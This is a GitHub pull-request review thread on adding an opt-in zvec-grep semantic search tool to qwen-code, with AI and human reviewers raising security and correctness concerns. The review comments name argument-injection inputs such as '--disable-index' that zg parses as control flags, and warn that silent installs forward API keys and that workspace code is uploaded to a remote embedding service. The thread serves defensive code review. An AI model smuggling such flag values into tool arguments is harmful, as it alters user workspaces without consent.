Suggested change
normal available search tools for this turn. Only install, initialize, or rebuild
npm install -g @zvec/zvec-grep@0.1.2

— qwen3.7-max via Qwen Code /review

@@ -0,0 +1,87 @@
---
name: zvec-grep
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] description contains behavioral directives toward grep_search that load into every system prompt

The description says "use zvec-grep before native grep_search" and "Use grep_search mainly for..." — these are instructions altering how the model uses a different tool, rendered in the <available_skills> block of every prompt regardless of whether this skill is invoked. No other bundled skill does this. This may cause the model to invoke zvec-grep as a prerequisite before every grep_search call, adding wasted turns when zg isn't installed.

Consider moving the ordering directives into the skill body (where they are only visible when invoked) and keeping description as a factual summary, e.g.:

Suggested change
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.
description: Semantic workspace search via the `zg` CLI for open-ended code and document discovery when exact keywords, symbols, or files are unknown. Best for behavior tracing, implementation flows, API questions, architecture, and fuzzy discovery.

— qwen3.7-max via Qwen Code /review

when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
argument-hint: '[setup|query]'
allowedTools:
- Bash(zg *)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Bash(zg *) auto-approves every zg subcommand when the skill is invoked, but the skill body later says installs, init, and rebuilds should only happen when the user explicitly asks. The upstream CLI includes mutating commands such as zg --init, zg --init --rebuild, zg --collections index, and zg --collections remove, so this allow rule lets a mistaken model action bypass the very confirmation boundary the skill is trying to establish. Please remove this grant, or wait for a narrower permission pattern that can allow read-only query commands without allowing index creation/rebuild/removal.

— GPT-5 via Qwen Code /review

A typical search uses one to three related queries:

```bash
zg "login request authentication middleware" "session token refresh path" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Normal zg queries refresh stale anonymous indexes by default, and this skill's setup path uses the remote qwen/text-embedding-v4 embedding model. That means a routine search can read newly changed workspace files and send their fragments to the remote embedding provider even though the user only asked to search and did not explicitly request indexing or rebuilding. Please make routine query guidance use --no-auto-update, or require an explicit user opt-in before allowing searches that may refresh a remote-backed index.

Suggested change
zg "login request authentication middleware" "session token refresh path" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**"
zg "login request authentication middleware" "session token refresh path" --no-auto-update --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**"

— GPT-5 via Qwen Code /review

zg "OAuth token refresh endpoint" "rate limit headers in API response" --include "docs/**,api/**,openapi/**" --exclude "generated/**,vendor/**"
```

Add `--fts` when exact anchors are known, such as symbols, enum members, flags,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The examples encourage semantic query text plus exact anchors, but the setup command points users at a remote embedding model. Agents may paste secrets, customer identifiers, or private incident/error payloads into those semantic queries, which sends that text to the embedding provider. Please add a privacy guard telling agents to use local grep_search or a local embedding model for sensitive anchors, and to avoid putting secrets/PII/customer data into remote-backed semantic queries.

Suggested change
Add `--fts` when exact anchors are known, such as symbols, enum members, flags,
Before sending semantic queries to a remote-backed index, avoid secrets, PII,
customer identifiers, and private incident payloads; use local `grep_search` or
a local embedding model for sensitive exact anchors.
Add `--fts` when exact anchors are known, such as symbols, enum members, flags,
headings, or non-sensitive error strings:

— GPT-5 via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed the skill end-to-end, including how it integrates with the skill loader, permission system, and build. The integration mechanics all check out: bundled-skill discovery and the build copy are glob-based so no registry or build change is needed, when_to_use / argument-hint / allowedTools are all supported frontmatter, the bundled-skills integration test passes on this file, and @zvec/zvec-grep on npm is published by zvec@alibaba-inc.com, so package provenance is fine.

Four inline comments. The two substantive ones:

  1. allowedTools: Bash(zg *) (line 7) — once the skill is invoked, this becomes a session-wide auto-approve that also covers zg --init / --rebuild (workspace contents → remote embedding API), which silently voids the body's "only when the user explicitly asks" guardrail.
  2. Default exposure (line 3) — the skill is advertised to every session and tells the model to prefer zg over grep_search, but zg won't be installed on most users' machines; that's a wasted skill load plus a failed shell call on common open-ended questions.

The other two: the setup command is missing the --api-key step its upstream README shows (plus a privacy note / local-model option), and the query examples filter on paths the suggested index never contains.

🤖 Generated with Claude Code — Claude Fable 5

when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
argument-hint: '[setup|query]'
allowedTools:
- Bash(zg *)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This entry has a bigger effect than the prose suggests: allowedTools is applied via applySkillAllowedToolsPermissionManager.addSessionAllowRule when the skill is invoked (both the slash-command path in BundledSkillLoader and the model-invoked Skill tool do this), so after one activation every zg invocation is auto-approved for the rest of the session — including zg --init / --rebuild, which read workspace files and upload their contents to the remote embedding API.

That leaves the guardrail below ("Only install, initialize, or rebuild when the user explicitly asks", lines 25–26) with no permission-layer backing: in default approval mode the user never sees a prompt, so a model mistake — or an injected instruction inside search results — can trigger an index build/upload silently. Allow rules can't express "zg except --init", so I'd drop this grant and let the normal shell-permission flow handle zg (users can still choose "always allow" on first use).

If it stays, please use the native tool name run_shell_command(zg *) like the other bundled skills — the Bash(...) spelling only works through the Claude Code compatibility alias in rule-parser.ts.

@@ -0,0 +1,87 @@
---
name: zvec-grep
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bundled skills are model-invocable and advertised in every session by default (there's no availability check, and only the skills.disabled setting opts out), so this description tells the model to reach for zg before the built-in grep_search on all open-ended questions — for every qwen-code user, while zg is installed on almost none of their machines. On a default install the likely steady state is: a skill load plus a failed zg run (command not found / no index) on every "how does X work" question, then fallback to grep_search, plus recurring nudges to globally install a third-party package (currently v0.1.x, published a few days ago).

Suggestions: ship with disable-model-invocation: true so it's opt-in via /zvec-grep until the tool matures, or at minimum reword the description so it doesn't claim priority over grep_search unconditionally (e.g. "when zg is installed and the workspace is indexed, use it before grep_search…").


```bash
npm install -g @zvec/zvec-grep
zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Two gaps compared with the upstream README:

  1. qwen/text-embedding-v4 is a remote DashScope model, and the README's own init example passes --api-key "$DASHSCOPE_API_KEY". As written this command fails in any environment without credentials, and the skill gives the agent no hint that the fix is auth — the likely failure mode is the model re-suggesting the same broken command, or looping on "refine the query" advice against a missing index.
  2. There's no mention that remote embedding sends workspace file contents to a cloud API, nor of the local models the README lists (local/qwen3-embedding-0.6b, local/embeddinggemma-300m) for users who don't want code leaving the machine.

Suggest adding the api-key step, a one-line privacy note, and the local-model alternative.


```bash
zg "request permission check before handler" "policy object maps roles to actions" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**"
zg "enterprise plan data retention policy" "audit log export availability" --include "docs/**,handbook/**,*.md" --exclude "archive/**,vendor/**"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor: these examples --include paths that the suggested init command above never indexes (handbook/**, config/**, api/**, openapi/**). Semantic search can only return what's in the index, so an agent following both verbatim gets zero results and may conclude "no evidence exists" — this doc's own use case — when the paths simply weren't indexed. Worth aligning the examples with the init filters, or adding a sentence that empty results for paths outside the index are inconclusive (check index coverage before concluding absence).

@zhourrr zhourrr force-pushed the feat/zvec-grep-skill branch from 0114b09 to a53fda7 Compare July 9, 2026 06:47
@github-actions

github-actions Bot commented Jul 9, 2026

Copy link
Copy Markdown
Contributor

Please do not rebase or force-push to an active PR as it invalidates existing review comments. Note for future reference, the bots always squash all changes into a single commit automatically as part of the integration.

中文

请勿对活跃的 PR 执行 rebase 或 force-push,因为这会使已有的评审评论失效。另外,供日后参考:作为集成流程的一部分,机器人始终会自动将所有改动压缩(squash)为单个提交。

@zhourrr zhourrr changed the title feat(skills): add zvec-grep bundled skill feat(tool): add opt-in zvec-grep search tool Jul 9, 2026
@zhourrr

zhourrr commented Jul 9, 2026

Copy link
Copy Markdown
Author

Thanks for the earlier reviews, and sorry for the force-push churn. I reworked the PR substantially based on the concerns raised.

This is no longer a bundled skill PR. The bundled skill and setup docs were removed. The current patch adds an opt-in built-in search tool instead:

  • disabled by default; users enable it explicitly with tools.zvecGrep.enabled, preferably at workspace scope, because indexing is workspace-specific and not every workspace should pay the setup/storage/API cost
  • exposes only semantic and rg search modes to the model
  • no allowedTools: Bash(zg *) grant, so the previous session-wide auto-approval / command-substitution concern no longer applies
  • no copy-paste setup docs with remote embedding or API-key guidance in this PR
  • the tool handles missing zvec-grep, missing credentials/index, background indexing, and lexical fallback internally
  • if disabled, the tool is not registered

Given the redesign, most earlier inline comments refer to removed SKILL.md content. Please re-review the current one-commit diff when you get a chance, thanks!

});
}

function installZvecGrep(signal: AbortSignal): Promise<ZgCommandResult> {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Silent auto-install of zg without user consent

When zg is not found on PATH, runZg silently calls installZvecGrep which runs npm install -g @zvec/zvec-grep@0.1.4 --registry https://registry.npmmirror.com. This happens without any permission prompt, notification, or opt-out mechanism.

This contradicts the PR description ("does not perform install/init/rebuild unless explicitly asked") and introduces supply-chain risk: the full process.env (including API keys like DASHSCOPE_API_KEY, QWEN_API_KEY) is forwarded to the npm subprocess and any postinstall scripts it runs.

Additionally, the hardcoded registry npmmirror.com is inaccessible or slow for users outside China.

Suggested fix: Remove the auto-install logic entirely. If zg is not found, return a clear error message suggesting manual installation. If auto-install must be kept: (1) require explicit user confirmation via the permission system, (2) respect the user's configured npm registry, (3) construct a minimal environment for the npm subprocess instead of forwarding all secrets.

— qwen3.7-max via Qwen Code /review


function buildSearchArgs(params: ZvecGrepParams): string[] {
const searchQuery = getSearchQuery(params);
const args = searchQuery ? [searchQuery] : [];

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Argument injection via search query — missing -- end-of-options

The user-controlled search query is passed as a bare positional argument without a -- separator. A crafted query like --index, --status, or --embedding local/evil would be interpreted as a CLI flag by the zg binary.

This affects both buildSearchArgs (line 285: const args = searchQuery ? [searchQuery] : []) and buildGrepArgs (line 295: args.push(searchQuery)).

Suggested change
const args = searchQuery ? [searchQuery] : [];
const args = searchQuery ? ['--', searchQuery] : [];

Apply the same fix to buildGrepArgs:

Suggested change
const args = searchQuery ? [searchQuery] : [];
if (searchQuery) {
args.push('--', searchQuery);
}

— qwen3.7-max via Qwen Code /review


function buildIndexArgs(params: ZvecGrepParams): string[] {
const args = ['--index', '--embedding', getIndexEmbeddingModel()];
addScopeArgs(args, params);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Background index scoped to first query's narrow scope

buildIndexArgs calls addScopeArgs(args, params), which adds --include/--exclude from the current query's path/paths/glob/exclude. Since the job key is per-cwd (one index per workspace), a narrowly-scoped first query builds an incomplete index.

A later broader semantic query sees the index as "ready" but it only covers the original narrow scope — silently returning incomplete results.

Suggested fix: Build the background index without scope args (index the full workspace), or store the scope in the job file and re-index when a broader scope is requested.

— qwen3.7-max via Qwen Code /review

zvecGrepInstalledInProcess = true;
}
if (result.error === 'aborted') {
zvecGrepInstallPromise = undefined;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Install promise cached permanently on non-aborted failure

The promise is only reset when result.error === 'aborted'. All other failure modes (network error, EPERM, registry unreachable, disk full) permanently cache the failed promise. Every subsequent runZg call reuses the same stale failure without retrying.

A transient install failure (e.g., network blip, mirror maintenance) permanently breaks auto-install for the rest of the process lifetime. The user must restart the CLI to retry.

Suggested change
zvecGrepInstallPromise = undefined;
zvecGrepInstallPromise = undefined;

Reset on all failures, not just 'aborted'. The caching intent (prevent parallel installs) can be preserved by keeping the promise set only while the install is actively in-flight.

— qwen3.7-max via Qwen Code /review

);
}

protected override validateToolParamValues(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] validateToolParamValues has zero test coverage

This 45-line validation method defines the tool's input contract (operation, query/pattern, path, limit, glob, paths, exclude), but no test verifies rejection of invalid inputs: wrong operation value, empty query/pattern, non-integer or negative limit, malformed paths, or type errors in arrays.

Validation bugs here either reject valid inputs (breaking the tool) or accept invalid ones (causing cryptic downstream errors). This is the primary interface boundary and should have explicit test coverage.

Suggested fix: Add tests for each validation branch — invalid operation, whitespace-only query, negative limit, float limit, empty path, empty glob, non-string in paths/exclude arrays.

— qwen3.7-max via Qwen Code /review

'QWEN_API_KEY',
] as const;
const BACKGROUND_JOB_DIR = path.join(os.tmpdir(), 'qwen-zvec-grep-index');
const ZG_OUTPUT_LIMIT = 20_000_000;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Timeout, abort signal, and output truncation paths are untested

Three critical safety mechanisms have zero test coverage:

  • Timeout (ZG_RUN_TIMEOUT_MS = 10_000, ZG_INSTALL_TIMEOUT_MS = 120_000): No test verifies that timed-out child processes are killed and produce the expected error format.
  • Abort signal: Both runZgOnce and runInstallZvecGrep check signal.aborted and register abort listeners, but no test exercises either the pre-aborted or mid-execution abort path.
  • Output truncation (ZG_OUTPUT_LIMIT = 20_000_000): No test verifies that oversized output is truncated or that the truncation notice is appended.

If any of these fail silently, the tool could hang indefinitely, leak processes, or flood the model with multi-megabyte outputs.

— qwen3.7-max via Qwen Code /review

@qwen-code-ci-bot

qwen-code-ci-bot commented Jul 9, 2026

Copy link
Copy Markdown
Collaborator

Suggestions — commit b5933c3

File Issue Suggested fix
zvec-grep.ts:904 extractResultFilePaths calls fs.existsSync before Set dedup check — redundant stat syscalls on large outputs Add !paths.has(candidate) guard before fs.existsSync
zvec-grep.test.ts Test coverage gaps: semantic-fails-then-rg-fallback path, background index job dedup, parsed.disabled status branch, statusLooksLocalEmbedding detection Add tests for each uncovered branch
zvec-grep.ts:346 buildSemanticFallbackQuery returns raw unescaped query when all tokens filtered — rg interprets metacharacters as regex return \(?i)${escapeRgRegex(query)}``
zvec-grep.ts:611,775 runInstallZvecGrep and runZgOnce share ~120 lines of structural duplication (spawn/collect/abort/timeout) Extract shared spawnAndCollect helper
zvec-grep.ts:1089 Semantic search failure reason only in debugLogger, not in tool output — LLM sees rg results without knowing semantic failed Append diagnostic line to fallback result
zvec-grep.ts:531 Orphaned detached zg --index processes persist after parent CLI dies Write PID file so new sessions can detect/kill stale indexers
zvec-grep.ts:273 addScopeArgs merges path+glob into comma-joined --include — zg treats as union (OR), not intersection, silently broadening scope Separate path and glob args, or compose into intersected glob
zvec-grep.ts:527 Orphaned log file left in tmp when spawn throws or child.pid is falsy (cleanup handlers registered after pid check) Add try/catch around spawn to clean up log file on failure
zvec-grep.ts:583 zvecGrepPathDirs hardcodes Unix /bin suffix — npm install -g on Windows places executables in prefix dir, not bin/ subfolder Use platform-conditional suffix: process.platform === 'win32' ? '' : 'bin'
zvec-grep.ts:1130 Conflicting tool descriptions when both zvec_grep and grep_search active — RipGrepTool says "ALWAYS use Grep", ZvecGrepTool says "do not use grep_search" Update RipGrepTool description at registration to defer when zvec_grep is enabled

— qwen3.7-max via Qwen Code /review

@zhourrr

zhourrr commented Jul 10, 2026

Copy link
Copy Markdown
Author

I updated the PR description draft and included benchmark evidence here.

For context, the benchmark covered two representative codebases: one is this qwencode repository, and the other is a separate vector-search/database repository. I tested five search modes across ten code-understanding questions, with four repeated runs per question/mode, for 200 sessions total. The most stable setup was “zvec enabled with a warm index and no subagent delegation”: on the qwencode repo, average total tokens dropped from 689,891 with baseline search to 497,905; on the vector-search repo, average total tokens dropped from 391,615 to 277,438.

I also added a stricter “actual zvec usage” view, because enabling zvec does not always mean the model actually calls it. In the qwencode repo, zvec was actually called in 60/60 zvec-enabled runs, averaging 685,019 total / 242,236 uncached tokens. In the vector-search repo, zvec was actually called in 53/60 zvec-enabled runs, averaging 374,147 total / 177,876 uncached tokens. Semantic zvec usage was much cheaper than regex-only zvec usage: 553,556 vs 929,164 average total tokens on the CLI/code-agent repo, and 312,829 vs 719,059 on the vector-search repo.

I’ll include screenshots for the top-line benchmark assessment, actual-zvec token summary, answer-quality heuristic, and tool instruction-following checks. The tool-following checks were also good overall: no-agent modes had 0 agent calls, and zvec-only modes had 0 successful baseline grep_search calls.

image

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed — no blockers. Suggestion-level recommendations are in the Suggestion summary comment below.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@zhourrr Thanks for moving this from a bundled skill toward an opt-in first-class tool. I reviewed the current head (b5933c38) and am requesting changes because several behaviors are unsafe or incorrect at the core-tool boundary.

  1. [P1] Model-controlled queries are passed to zg without an end-of-options boundary. Both semantic and rg argument builders place the query directly in argv. The pinned CLI parses values such as --index, --status, and --disable-index as options. In an isolated reproduction, zg --disable-index --limit 20 changed the workspace policy from undecided to disabled; an rg pattern of --status was also parsed as a control option instead of search text. Please place all flags before --, followed by the positional query and paths.

  2. [P1] The opt-in setting does not document automatic installation. Treating tools.zvecGrep.enabled: true as the user's one-time authorization is reasonable, and the runtime should not interrupt subsequent searches with another installation prompt. However, the current setting only says that it registers the tool. Its configuration documentation must explicitly state that first use may run npm install -g @zvec/zvec-grep@0.1.4. For scale, a clean install added 128 packages and consumed roughly 228 MB across the install prefix and cache. Once this behavior is disclosed at the opt-in boundary, the installation itself does not need another confirmation.

  3. [P1] The opt-in setting does not document automatic remote indexing. Automatic background indexing is consistent with a low-friction experience once the user has enabled the feature, so no repeated runtime prompt is required. The configuration documentation must, however, make that authorization informed: enabling the tool may launch a detached workspace index, and when DASHSCOPE_API_KEY, QWEN_API_KEY, or ZVEC_GREP_API_KEY is available, the default qwen/text-embedding-v4 path sends repository content to the remote embedding service and may incur API cost. It should also document the local-model alternative.

  4. [P1] The first scoped query can permanently produce an incomplete workspace index. buildIndexArgs() copies the current query's path, paths, glob, and exclude into the persistent index command, but the background job/index identity is only the cwd. The pinned package persists those filters. A later broader search sees a ready index but cannot find files outside the first query's scope. The background index should cover the full workspace, or its identity and expansion logic must include scope.

  5. [P2] Semantic scope composition is wider than requested. path-derived patterns and glob are combined into one --include list, while zg applies multiple includes with OR semantics. For example, path=src plus glob=**/*.ts searches src/** and every TypeScript file in the workspace, rather than TypeScript files under src.

  6. [P2] The semantic-to-rg fallback can pass an unescaped natural-language query as a regex. When token filtering removes every token, the raw query is returned. Through the actual tool adapter, the semantic query a( failed with an unclosed-group regex error, while C++ was interpreted as C+ and returned broad unrelated matches.

  7. [P2] Timeout and install lifecycle handling are not bounded. Timeout sends only SIGTERM and still waits for close, so a child that ignores the signal can hang forever. Separately, a non-abort installation failure remains cached for the rest of the Qwen Code process and cannot be retried. Please add bounded termination escalation and keep the install promise cached only while installation is in flight.

Local verification on this head: 666 related core tests and 269 CLI configuration tests passed; full build, typecheck, lint, and git diff --check passed. I also installed the pinned package in an isolated no-credential environment and exercised the real ZvecGrepTool -> zg path. The passing mocked tests do not cover the CLI contract and side effects above.

The PR body also needs to be completed against the current pull request template: Tested on, Environment, Risk & Scope, Linked Issues, and the full Chinese translation are missing. Since this is a cross-package core feature with 1,304 production lines (1,280 under packages/core/src), it also needs explicit maintainer architectural review after the blockers are fixed.

中文说明

@zhourrr 感谢将方案从 bundled skill 推进为可选的内置工具。我审查了当前 head(b5933c38),由于核心工具边界仍存在以下安全性和正确性问题,本轮请求修改:

  1. [P1] 模型生成的查询没有通过 -- 与 CLI 选项隔离。 固定版本的 zg 会把 --index--status--disable-index 等查询当成控制参数。隔离复现中,zg --disable-index --limit 20 将 workspace policy 从 undecided 改成了 disabled;rg 查询 --status 也没有作为搜索文本执行。请先放置全部选项,再追加 --、查询和路径。

  2. [P1] 可选配置没有说明会自动安装。tools.zvecGrep.enabled: true 视为用户的一次性授权是合理的,后续搜索不应再因安装弹窗而中断。但当前配置只说明会注册工具,配置文档必须明确注明首次使用可能执行 npm install -g @zvec/zvec-grep@0.1.4。作为规模参考,干净环境安装新增了 128 个包,安装目录与缓存合计约 228 MB。只要在开启配置时明确披露,自动安装本身不需要再次确认。

  3. [P1] 可选配置没有说明会自动执行远程索引。 用户开启功能后自动后台建索引符合低打扰体验,因此无需在运行时反复确认。但配置文档必须让这次授权建立在充分知情之上:开启后可能启动 detached workspace index;当环境中存在 DASHSCOPE_API_KEYQWEN_API_KEYZVEC_GREP_API_KEY 时,默认 qwen/text-embedding-v4 路径会把仓库内容发送到远程 embedding 服务,并可能产生 API 费用。文档还应说明本地模型替代方案。

  4. [P1] 第一次窄范围查询会生成永久不完整的 workspace 索引。 buildIndexArgs() 把当前查询的 pathpathsglobexclude 写入持久化索引命令,但后台任务和索引只按 cwd 标识。后续更宽的查询会看到 ready 状态,却无法找到第一次范围之外的文件。后台索引应覆盖完整 workspace,或者把 scope 纳入索引身份和扩展逻辑。

  5. [P2] 语义查询的范围组合比请求范围更宽。 path 产生的 pattern 与 glob 被放入同一个 --include 列表,而 zg 对多个 include 使用 OR。例如 path=srcglob=**/*.ts 会搜索 src/** 以及全仓所有 TypeScript 文件,而不是只搜索 src 下的 TypeScript 文件。

  6. [P2] 语义降级为 rg 时可能把未转义的自然语言当作正则。 token 全部被过滤时会直接返回原始 query。通过真实工具适配器测试,语义查询 a( 因正则括号未闭合而失败;C++ 被解释成 C+,返回了大量无关结果。

  7. [P2] 超时和安装生命周期没有可靠上界。 超时只发送一次 SIGTERM 并继续等待 close,忽略信号的子进程会永久挂起。另外,非 abort 的安装失败会在当前 Qwen Code 进程中永久缓存,无法重试。请增加有期限的强制终止,并只在安装正在进行时缓存 Promise。

当前 head 的本地验证结果:相关 core 测试 666 项、CLI 配置测试 269 项全部通过;完整 build、typecheck、lint 和 git diff --check 均通过。我还在隔离无凭证环境安装了固定版本包,并执行了真实 ZvecGrepTool -> zg 调用。现有 mock 测试通过并不能覆盖上述 CLI 契约和副作用。

PR 描述也需要按照当前模板补齐 Tested onEnvironmentRisk & ScopeLinked Issues 和完整中文翻译。该 PR 是跨 package 的核心功能,包含 1,304 行生产改动,其中 1,280 行位于 packages/core/src;修复阻塞项后仍需要 maintainer 做架构确认。

@wenshao

wenshao commented Jul 11, 2026

Copy link
Copy Markdown
Collaborator

✅ Local validation report — zvec_grep search tool

I built this PR from source and validated it locally against a live zg binary, not just the mocked test suite. Summary: it builds, typechecks, lints, and all 935 tests across the 5 affected files pass, and the compiled tool behaves correctly end-to-end. One design point is flagged for reviewer awareness at the bottom.

  • Commit tested: b5933c38b (PR head) · merged onto main
  • Environment: macOS (darwin arm64), Node v22.23.1, npm 10.9.8, vitest 3.2.4
  • Method: isolated git worktree + clean npm install; packages/core built first (the CLI config test loads the built @qwen-code/qwen-code-core)

1 · Build · typecheck · lint · test suite

Step Command Result
Build core npm run build --workspace @qwen-code/qwen-code-core ✅ exit 0
Typecheck tsc --noEmit (core + cli) ✅ exit 0
Lint eslint on the 8 changed .ts files ✅ exit 0
zvec-grep.test.ts npx vitest run 27 passed
core/config.test.ts npx vitest run 371 passed
coreToolScheduler.test.ts npx vitest run 259 passed
builtin-agents.test.ts npx vitest run 9 passed
cli/config.test.ts npx vitest run 269 passed
Total 935 / 935 (5 files)

build & tests

2 · Real end-to-end (no mocks): compiled tool ⇄ live zg

The unit tests mock spawn() at the process boundary, so I additionally installed the exact pinned package the tool auto-installs (@zvec/zvec-grep@0.1.4) and drove the compiled ZvecGrepTool from packages/core/dist against the real binary — nothing stubbed except a minimal Config:

  • A · rg (exact/regex) mode — no index, no API key. pattern:"class ZvecGrepTool"Found 1 match, correct symbol-aware output, and resultFilePaths resolved + recorded as a partial read. Permission: allow.
  • B · semantic mode with no embedding keygraceful lexical fallback via zg --rg (Found 20 matches), exactly as designed when the vector index / embeddings are unavailable. Permission: allow.
  • C · external-path safety gate — in-workspace search resolves to allow (runs silently); a search reaching outside the workspace resolves to ask and produces the Confirm zvec-grep external path search confirmation listing the external path. After (simulated) approval it returns the real external match.

real end-to-end

3 · Opt-in gating confirmed

Off by default and enforced in three independent places — core (zvecGrepEnabled ?? false), settings schema (tools.zvecGrep.enabled default false), and CLI wiring (=== true, force-off in bare/safe mode). The core config.test.ts additions assert the tool is not registered by default and is registered only when zvecGrepEnabled: true.

4 · Scope not exercised & one consideration for reviewers

  • True vector semantic search was not exercised end-to-end — this environment has no embedding API key (ZVEC_GREP_API_KEY / DASHSCOPE_API_KEY / QWEN_API_KEY) and no built index, so semantic queries fall back to lexical search. The mocked unit test covers the "ready index + key" argv path (--embedding qwen/text-embedding-v4), and I verified the live fallback path; the real vector-ranked results themselves were not measured here.
  • Auto-install side effect (design note, not a blocker): the first real invocation of an enabled zvec_grep on a machine without zg runs npm install -g @zvec/zvec-grep@0.1.4 (network + global write), gated only by the opt-in flag — the install itself is not separately confirmed. Since the tool is off by default and only the maintainer/user can enable it, this is acceptable, but worth a conscious decision (and possibly a doc note).

Conclusion

From a local-validation standpoint this PR is green: it compiles, passes the full affected test suite, is correctly gated off-by-default, and the compiled tool works end-to-end against the real zg binary including the external-path confirmation gate. Recommend proceeding, with the auto-install behavior noted above called out for a conscious sign-off.

🇨🇳 中文版本(点击展开)

✅ 本地验证报告 — zvec_grep 搜索工具

我从源码构建了本 PR,并在真实的 zg 二进制上进行了本地验证(不仅仅是 mock 的测试)。结论:可构建、类型检查通过、lint 通过,5 个受影响文件共 935 个测试全部通过,编译后的工具端到端行为正确。文末列出一个供审查者知悉的设计点。

  • 测试提交: b5933c38b(PR head),已合并到 main
  • 环境: macOS(darwin arm64),Node v22.23.1,npm 10.9.8,vitest 3.2.4
  • 方法: 独立 git worktree + 干净的 npm install;先构建 packages/core(CLI 的 config 测试会加载已构建的 @qwen-code/qwen-code-core

1 · 构建 · 类型检查 · lint · 测试套件

步骤 命令 结果
构建 core npm run build --workspace @qwen-code/qwen-code-core ✅ exit 0
类型检查 tsc --noEmit(core + cli) ✅ exit 0
Lint 对 8 个改动的 .ts 文件执行 eslint ✅ exit 0
zvec-grep.test.ts npx vitest run 27 通过
core/config.test.ts npx vitest run 371 通过
coreToolScheduler.test.ts npx vitest run 259 通过
builtin-agents.test.ts npx vitest run 9 通过
cli/config.test.ts npx vitest run 269 通过
合计 935 / 935(5 个文件)

2 · 真实端到端(无 mock):编译后的工具 ⇄ 真实 zg

单元测试在进程边界 mock 了 spawn(),因此我额外安装了工具会自动安装的那个固定版本包(@zvec/zvec-grep@0.1.4),并用**packages/core/dist 中编译后的 ZvecGrepTool** 直接调用真实二进制——除了一个最小化的 Config 之外没有任何桩:

  • A · rg(精确/正则)模式 — 无需索引、无需 API key。pattern:"class ZvecGrepTool"Found 1 match,输出带符号信息,resultFilePaths 正确解析并记录为部分读取。权限:allow
  • B · 无 embedding key 的 semantic 模式 → 按设计优雅降级zg --rg 词法搜索(Found 20 matches)。权限:allow
  • C · 外部路径安全门 — 工作区内搜索解析为 allow(静默执行);触及工作区外的搜索解析为 ask,并生成 Confirm zvec-grep external path search 确认框、列出外部路径;(模拟)批准后返回真实的外部匹配。

3 · 确认为可选开启(opt-in)

默认关闭,并在三处独立强制:core(zvecGrepEnabled ?? false)、settings schema(tools.zvecGrep.enabled 默认 false)、CLI 接线(=== true,bare/safe 模式强制关闭)。core 的 config.test.ts 新增用例断言:默认注册该工具,仅当 zvecGrepEnabled: true 时才注册。

4 · 未覆盖范围与一个供审查者关注的点

